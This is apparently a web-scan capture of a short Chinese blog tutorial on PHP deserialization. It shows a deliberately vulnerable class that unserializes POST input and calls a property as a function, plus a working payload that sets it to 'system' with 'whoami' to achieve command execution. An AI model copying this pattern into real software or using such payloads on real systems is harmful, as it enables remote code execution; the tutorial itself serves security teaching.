zy5uv-2aaaa-aaaad-qbniq-cai.icp0.io
Open in
urlscan Pro
2a0b:21c0:b002:2:5000:59ff:fead:c233
Public Scan
URL:
https://zy5uv-2aaaa-aaaad-qbniq-cai.icp0.io/archives/f8e3d21b/index.html
Submission: On December 27 via api from US — Scanned from GB
Submission: On December 27 via api from US — Scanned from GB
Form analysis
0 forms found in the DOMText Content
小晨曦 * 首页 * 标签 * 分类 * 归档 * 关于 * 友情链接 * 零组官网 * 520 * 迪迪 * ian * 小晨曦 小晨曦的博客 * 首页 * 标签 * 分类 * 归档 * 关于 * 友情链接 * 零组官网 * 520 * 迪迪 * ian 简单的PHP反序列化 PHP 技术分享 发布日期: 2019-10-16 更新日期: 2019-10-16 文章字数: 146 阅读时长: 1 分 阅读次数: 1556 -------------------------------------------------------------------------------- 源代码 php <?php class test{ public $xcx; public $miku; function __destruct(){ $a = $this->xcx; $a($this->miku); } } unserialize($_POST['qq']); ?> 代码分析 代码上的 function __destruct是析构函数,会在 销毁一个类之前执行的一些操作或完成一些功能 。 因上面将xcx赋值给a,再将miku放进a执行,可以根据这个构造出命令执行的序列化 利用代码 php <?php class test{ public $xcx = 'system'; public $miku = 'whoami'; function __destruct(){ $a = $this->xcx; $a($this->miku); } } $b = new test(); echo serialize($b); ?> 将输出的值以POST形式传参,会返回whoami的结果 -------------------------------------------------------------------------------- PHP 微信扫一扫:分享 微信扫一扫即可分享! 为正常使用来必力评论功能请激活JavaScript。 上一篇 74cms v4.2.3任意文件读取 2019-10-21 技术分享 CMS 下一篇 XML外部实体注入(XXE) 2019-10-16 技术分享 XXE 目录 1. 源代码 2. 代码分析 3. 利用代码 看板娘 欢迎阅读「简单的PHP反序列化 | 小晨曦」 Copyright © 2019-2022 2019 小晨曦 | Powered by Hexo | Theme Matery 站点总字数: 7.2k | 总访问量: 2069 | 总访问人数: 1971 搜索